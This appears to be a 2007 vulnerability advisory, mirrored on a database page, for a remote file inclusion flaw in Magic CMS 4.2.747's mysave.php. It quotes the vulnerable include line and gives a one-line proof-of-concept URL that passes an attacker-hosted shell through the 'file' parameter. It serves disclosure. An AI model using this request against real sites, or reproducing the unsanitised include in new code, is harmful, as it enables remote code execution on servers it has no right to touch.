Magic CMS 4.2.747 (mysave.php file) Remote File Include Vulnerability

🗓️ 09 Mar 2007 00:00:00Reported by RootType

Magic CMS 4.2.747 (mysave.php file) Remote File Include Vulnerability in PHP-based content management syste


                                                &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#\'#/
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(-.-)
&nbsp;&nbsp;&nbsp;---------------------oOO---(_)---OOo---------------------
&nbsp;&nbsp;&nbsp;|&nbsp;Magic&nbsp;CMS&nbsp;v4.2.747&nbsp;(mysave.php)&nbsp;Remote&nbsp;File&nbsp;Inclusion&nbsp;|
&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(works&nbsp;only&nbsp;with&nbsp;register_globals&nbsp;=&nbsp;on)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|
&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;coded&nbsp;by&nbsp;DNX&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|
&nbsp;&nbsp;&nbsp;---------------------------------------------------------
[!]&nbsp;Discovered:&nbsp;DNX
[!]&nbsp;Vendor:&nbsp;www.geo-soft.net/de-ch/
[!]&nbsp;Detected:&nbsp;03.03.2007
[!]&nbsp;Reported:&nbsp;03.03.2007
[!]&nbsp;Remote:&nbsp;yes

[!]&nbsp;Background:&nbsp;Magic&nbsp;CMS&nbsp;is&nbsp;an&nbsp;easy&nbsp;to&nbsp;use&nbsp;content&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;management&nbsp;system&nbsp;based&nbsp;on&nbsp;PHP.

[!]&nbsp;Bug:&nbsp;$file&nbsp;in&nbsp;mysave.php&nbsp;line&nbsp;3&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;@include($file.\"/myconfig.php\");
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
[!]&nbsp;PoC:&nbsp;http://[site]/[path]/mysave.php?file=[shell]

[!]&nbsp;Solution:&nbsp;Waiting&nbsp;for&nbsp;patch/update.&nbsp;No&nbsp;response&nbsp;from&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;vendor.

&nbsp;

09 Mar 2007 00:00Current

7.1High risk

Vulners AI Score7.1